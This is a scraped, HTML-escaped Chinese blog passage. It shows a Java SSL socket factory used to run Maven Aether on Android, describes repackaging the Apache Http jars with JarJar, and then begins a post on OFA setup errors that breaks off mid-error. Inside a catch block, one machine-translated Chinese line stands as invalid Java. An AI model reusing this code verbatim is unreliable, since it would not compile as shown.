class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.http.conn.scheme.SchemeLayeredSocketFactory;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.http.conn.ssl.X509HostnameVerifier;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.http.params.HttpConnectionParams;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.http.params.HttpParams;\u003cbr\u003e \u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.io.IOException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.net.InetSocketAddress;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.net.Socket;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.net.SocketTimeoutException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.net.UnknownHostException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.security.KeyManagementException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.security.KeyStore;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.security.KeyStoreException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.security.NoSuchAlgorithmException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.security.UnrecoverableKeyException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.security.cert.CertificateException;\u003cbr\u003e \u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e javax.net.ssl.HostnameVerifier;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e javax.net.ssl.SSLContext;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e javax.net.ssl.SSLSocket;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e javax.net.ssl.SSLSocketFactory;\u003cbr\u003e \u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003efinal\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eSslSocketFactory\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eextends\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eorg\u003c/span\u003e.apache.http.conn.ssl.SSLSocketFactory \u003cspan class=\"hljs-keyword\"\u003eimplements\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eSchemeLayeredSocketFactory\u003c/span\u003e,\u003cbr\u003e LayeredSchemeSocketFactory, LayeredSocketFactory \u0026#123;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003efinal\u003c/span\u003e SSLContext sslcontext;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003efinal\u003c/span\u003e javax.net.ssl.SSLSocketFactory socketfactory;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003efinal\u003c/span\u003e HostNameResolver nameResolver;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-type\"\u003eX509HostnameVerifier\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003ehostnameVerifier\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e BROWSER_COMPATIBLE_HOSTNAME_VERIFIER;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003efinal\u003c/span\u003e String[] cipherSuites;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003efinal\u003c/span\u003e String[] protocols;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003eSslSocketFactory\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(SslConfig config)\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e UnrecoverableKeyException, KeyStoreException, NoSuchAlgorithmException, KeyManagementException, CertificateException, IOException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e(getSocketFactory(config.context), getHostnameVerifier(config.verifier), config.cipherSuites,\u003cbr\u003e config.protocols);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003estatic\u003c/span\u003e SSLSocketFactory \u003cspan class=\"hljs-title function_\"\u003egetSocketFactory\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(SSLContext context)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e (context != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) ? context.getSocketFactory() : (SSLSocketFactory) SSLSocketFactory.getDefault();\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003estatic\u003c/span\u003e X509HostnameVerifier \u003cspan class=\"hljs-title function_\"\u003egetHostnameVerifier\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(HostnameVerifier verifier)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e (verifier != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) ? X509HostnameVerifierAdapter.adapt(verifier)\u003cbr\u003e : org.apache.http.conn.ssl.SSLSocketFactory.BROWSER_COMPATIBLE_HOSTNAME_VERIFIER;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003eSslSocketFactory\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(SSLSocketFactory socketfactory, X509HostnameVerifier hostnameVerifier,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e String[] cipherSuites, String[] protocols)\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e UnrecoverableKeyException, KeyStoreException, NoSuchAlgorithmException, KeyManagementException, CertificateException, IOException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003esuper\u003c/span\u003e(defaultKeyStore());\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.sslcontext = \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.socketfactory = socketfactory;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.nameResolver = \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.setHostnameVerifier(hostnameVerifier);\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.cipherSuites = cipherSuites;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.protocols = protocols;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003estatic\u003c/span\u003e KeyStore \u003cspan class=\"hljs-title function_\"\u003edefaultKeyStore\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e()\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e KeyStoreException, CertificateException, IOException, NoSuchAlgorithmException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eKeyStore\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003etrustStore\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e KeyStore.getInstance(KeyStore.getDefaultType());\u003cbr\u003e trustStore.load(\u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e, \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e trustStore;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprotected\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003eprepareSocket\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(SSLSocket socket)\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e IOException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (cipherSuites != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e socket.setEnabledCipherSuites(cipherSuites);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (protocols != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e socket.setEnabledProtocols(protocols);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Override\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e Socket \u003cspan class=\"hljs-title function_\"\u003ecreateLayeredSocket\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(Socket socket, String target, \u003cspan class=\"hljs-type\"\u003eint\u003c/span\u003e port, \u003cspan class=\"hljs-type\"\u003eboolean\u003c/span\u003e autoClose)\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e IOException, UnknownHostException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eSSLSocket\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003esslSocket\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e (SSLSocket) \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.socketfactory.createSocket(\u003cbr\u003e socket,\u003cbr\u003e target,\u003cbr\u003e port,\u003cbr\u003e autoClose\u003cbr\u003e );\u003cbr\u003e prepareSocket(sslSocket);\u003cbr\u003e sslSocket.startHandshake();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.hostnameVerifier != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.hostnameVerifier.verify(target, sslSocket);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-comment\"\u003e// verifyHostName() didn\u0026#x27;t blowup - good!\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e sslSocket;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Override\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e Socket \u003cspan class=\"hljs-title function_\"\u003ecreateLayeredSocket\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(Socket socket, String target, \u003cspan class=\"hljs-type\"\u003eint\u003c/span\u003e port, HttpParams params)\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e IOException, UnknownHostException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eSSLSocket\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003esslSocket\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e (SSLSocket) \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.socketfactory.createSocket(\u003cbr\u003e socket,\u003cbr\u003e target,\u003cbr\u003e port,\u003cbr\u003e \u003cspan class=\"hljs-literal\"\u003etrue\u003c/span\u003e);\u003cbr\u003e prepareSocket(sslSocket);\u003cbr\u003e sslSocket.startHandshake();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.hostnameVerifier != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.hostnameVerifier.verify(target, sslSocket);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-comment\"\u003e// verifyHostName() didn\u0026#x27;t blowup - good!\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e sslSocket;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Override\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e Socket \u003cspan class=\"hljs-title function_\"\u003ecreateSocket\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(HttpParams params)\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e IOException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eSSLSocket\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003esock\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e (SSLSocket) \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.socketfactory.createSocket();\u003cbr\u003e prepareSocket(sock);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e sock;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Override\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e Socket \u003cspan class=\"hljs-title function_\"\u003econnectSocket\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(Socket socket, InetSocketAddress remoteAddress, InetSocketAddress localAddress, HttpParams params)\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e IOException, UnknownHostException, ConnectTimeoutException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (remoteAddress == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eIllegalArgumentException\u003c/span\u003e(\u003cspan class=\"hljs-string\"\u003e\u0026quot;Remote address may not be null\u0026quot;\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (params == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eIllegalArgumentException\u003c/span\u003e(\u003cspan class=\"hljs-string\"\u003e\u0026quot;HTTP parameters may not be null\u0026quot;\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eSocket\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003esock\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e socket != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e ? socket : \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.socketfactory.createSocket();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (localAddress != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e sock.setReuseAddress(params.getBooleanParameter(\u003cspan class=\"hljs-string\"\u003e\u0026quot;http.socket.reuseaddr\u0026quot;\u003c/span\u003e, \u003cspan class=\"hljs-literal\"\u003efalse\u003c/span\u003e));\u003cbr\u003e sock.bind(localAddress);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eint\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003econnTimeout\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e HttpConnectionParams.getConnectionTimeout(params);\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eint\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003esoTimeout\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e HttpConnectionParams.getSoTimeout(params);\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003cbr\u003e sock.setSoTimeout(soTimeout);\u003cbr\u003e sock.connect(remoteAddress, connTimeout);\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e (SocketTimeoutException ex) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eConnectTimeoutException\u003c/span\u003e(\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;Connect to \u0026quot;\u003c/span\u003e + remoteAddress + \u003cspan class=\"hljs-string\"\u003e\u0026quot; timed out :\u0026quot;\u003c/span\u003e + ex.getMessage());\u003cbr\u003e“连接到” + 远程地址 + “ 超时 :” + ex.getMessage());\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e String hostname;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (remoteAddress \u003cspan class=\"hljs-keyword\"\u003einstanceof\u003c/span\u003e HttpInetSocketAddress) \u0026#123;\u003cbr\u003e hostname = ((HttpInetSocketAddress) remoteAddress).getHttpHost().getHostName();\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003cbr\u003e hostname = remoteAddress.getHostName();\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e SSLSocket sslsock;\u003cbr\u003e \u003cspan class=\"hljs-comment\"\u003e// Setup SSL layering if necessary\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (sock \u003cspan class=\"hljs-keyword\"\u003einstanceof\u003c/span\u003e SSLSocket) \u0026#123;\u003cbr\u003e sslsock = (SSLSocket) sock;\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eint\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eport\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e remoteAddress.getPort();\u003cbr\u003e sslsock = (SSLSocket) \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.socketfactory.createSocket(sock, hostname, port, \u003cspan class=\"hljs-literal\"\u003etrue\u003c/span\u003e);\u003cbr\u003e prepareSocket(sslsock);\u003cbr\u003e \u0026#125;\u003cbr\u003e sslsock.startHandshake();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.hostnameVerifier != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.hostnameVerifier.verify(hostname, sslsock);\u003cbr\u003e \u003cspan class=\"hljs-comment\"\u003e// verifyHostName() didn\u0026#x27;t blowup - good!\u003c/span\u003e\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e (IOException iox) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-comment\"\u003e// close the socket before re-throwing the exception\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003cbr\u003e sslsock.close();\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e (Exception x) \u0026#123; \u003cspan class=\"hljs-comment\"\u003e/*ignore*/\u003c/span\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e iox;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e sslsock;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u0026#125;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这里我们直接使用Android所兼容的Apache Http API即可。\u003c/p\u003e\u003ch5 id=\"结论\"\u003e\u003ca href=\"#结论\" class=\"headerlink\" title=\"结论\"\u003e\u003c/a\u003e结论\u003c/h5\u003e\u003cp\u003e经实验,部分手机可以允许,Homo OS依旧无法运行。最大的问题在于,这个JarFilter支持的AGP版本太低,在AGP版本较高时便不能在build release时正常运行,在部分版本下只能在build debug正常运行。\u003c/p\u003e\u003cp\u003e寄。\u003c/p\u003e\u003ch4 id=\"Try3-强行塞入PC端Jre的一些类-Apache-Http包-成功\"\u003e\u003ca href=\"#Try3-强行塞入PC端Jre的一些类-Apache-Http包-成功\" class=\"headerlink\" title=\"Try3: 强行塞入PC端Jre的一些类+Apache Http包 (成功)\"\u003e\u003c/a\u003eTry3: 强行塞入PC端Jre的一些类+Apache Http包 (成功)\u003c/h4\u003e\u003cp\u003e既然,Aether是transport缺少Apache Http API而无法运行,那么是不是可以直接把Apache Http给强行迁移过来呢?是,但是需要一定的魔改。\u003c/p\u003e\u003cp\u003e众所周知,JVM运行中,因为双亲委托机制的存在,用户能操作的ClassLoader是不能覆盖系统提供的类文件的,否则会有各种奇妙的异常(因为不同设备对Apache Http的阉割情况可能不同),所以我们不能简单地直接依赖原版Apache Http包。\u003c/p\u003e\u003cp\u003e那么,较优的方法是通过JarJar修改所有包下关于Apache Http的包名信息为自定义的,然后强行塞入App内,\u003cdel\u003e让它成为你想要的形状\u003c/del\u003e。\u003c/p\u003e\u003ch5 id=\"实践-1\"\u003e\u003ca href=\"#实践-1\" class=\"headerlink\" title=\"实践\"\u003e\u003c/a\u003e实践\u003c/h5\u003e\u003cp\u003e(因为当时没完整记录这个流程,导致没有截图啥的信息,只在此说明大概思路了。)\u003c/p\u003e\u003cp\u003e首先,下载所需版本的\u003cem\u003eaether-transport-http.jar\u003c/em\u003e、\u003cem\u003eApache Http Core.jar\u003c/em\u003e、\u003cem\u003eApache Http Client.jar\u003c/em\u003e;\u003c/p\u003e\u003cp\u003e然后,利用JarJar手写规则,将\u003cem\u003eorg.apache.http\u003c/em\u003e包名更改为你自定义的包名;\u003c/p\u003e\u003cp\u003e最后,去掉build.gradle中对于aether-transport-http、Apache Http Core以及Apache Http Client的依赖,改为上述已修改的Jar。\u003c/p\u003e\u003cp\u003e如果没有意外的话,就有意外了,发现又有新的报错,是缺少javax.*包下的类,这个解决也很简单暴力,直接复制一份Jre 1.8下lib文件夹内的rt.jar,删除一些无关类即可。(删除什么我已经忘记了,可以自行尝试,即使删的少了也并不会影响运行。)\u003c/p\u003e\u003ch5 id=\"结论-1\"\u003e\u003ca href=\"#结论-1\" class=\"headerlink\" title=\"结论\"\u003e\u003c/a\u003e结论\u003c/h5\u003e\u003cp\u003e经实验,本解决方案完美适配已知所有设备(Homo也难不倒它),可以放心地使用此方案。\u003c/p\u003e","url":"https://xiue233.github.io/2023/09/05/aether-in-android/"},{"title":"OFA使用下遇到的问题","time":"2022-12-04T02:18:53Z","content":"\u003cblockquote\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/OFA-Sys/OFA\"\u003eOFA\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://colab.research.google.com/github/mit-han-lab/once-for-a\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://github.com/OFA-Sys/OFA\"\u003eOFA\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://colab.research.google.com/github/mit-han-lab/once-for-all/blob/master/tutorial/ofa.ipynb#scrollTo=AUhMWvPdr0Z6\"\u003eOFA样例\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e又是瞎折腾的一天… \u003c/p\u003e\u003ch2 id=\"一、Linux下搭建\"\u003e\u003ca href=\"#一、Linux下搭建\" class=\"headerlink\" title=\"一、Linux下搭建\"\u003e\u003c/a\u003e一、Linux下搭建\u003c/h2\u003e\u003cp\u003e按照要求搭建即可,没啥特殊的情况,注意把需要的库下载完整。 \u003c/p\u003e\u003cp\u003e但是我的Linux因为种种原因挂不上N卡,我就换Windows了。\u003c/p\u003e\u003ch2 id=\"二、Windows下搭建\"\u003e\u003ca href=\"#二、Windows下搭建\" class=\"headerlink\" title=\"二、Windows下搭建\"\u003e\u003c/a\u003e二、Windows下搭建\u003c/h2\u003e\u003ch3 id=\"1-torch-cuda-is-available-为False\"\u003e\u003ca href=\"#1-torch-cuda-is-available-为False\" class=\"headerlink\" title=\"(1) torch.cuda.is_available()为False\"\u003e\u003c/a\u003e(1) torch.cuda.is_available()为False\u003c/h3\u003e\u003cp\u003e需要安装Nvidia Toolkit,并且安装特定版本的torch即可。\u003c/p\u003e\u003ch3 id=\"2-运行时报错,报错中显示让使用freeze-support\"\u003e\u003ca href=\"#2-运行时报错,报错中显示让使用freeze-support\" class=\"headerlink\" title=\"(2) 运行时报错,报错中显示让使用freeze_support()\"\u003e\u003c/a\u003e(2) 运行时报错,报错中显示让使用freeze_support()\u003c/h3\u003e\u003cfigure class=\"highlight livecodeserver\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs livecodeserver\"\u003eRuntimeError: \u003cbr\u003e An attempt has been made \u003cspan class=\"hljs-built_in\"\u003eto\u003c/span\u003e \u003cspan class=\"hljs-built_in\"\u003estart\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ea\u003c/span\u003e \u003cspan class=\"hljs-built_in\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-built_in\"\u003eprocess\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ebefore\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ethe\u003c/span\u003e\u003cbr\u003e current \u003cspan class=\"hljs-built_in\"\u003eprocess\u003c/span\u003e has finished its bootstrapping phase.\u003cbr\u003e This probably means that you are \u003cspan class=\"hljs-keyword\"\u003enot\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eusing\u003c/span\u003e fork \u003cspan class=\"hljs-built_in\"\u003eto\u003c/span\u003e \u003cspan class=\"hljs-built_in\"\u003estart\u003c/span\u003e your\u003cbr\u003e child processes \u003cspan class=\"hljs-keyword\"\u003eand\u003c/span\u003e you have forgotten \u003cspan class=\"hljs-built_in\"\u003eto\u003c/span\u003e use \u003cspan class=\"hljs-keyword\"\u003ethe\u003c/span\u003e proper idiom\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ein\u003c/span\u003e \u003cspan 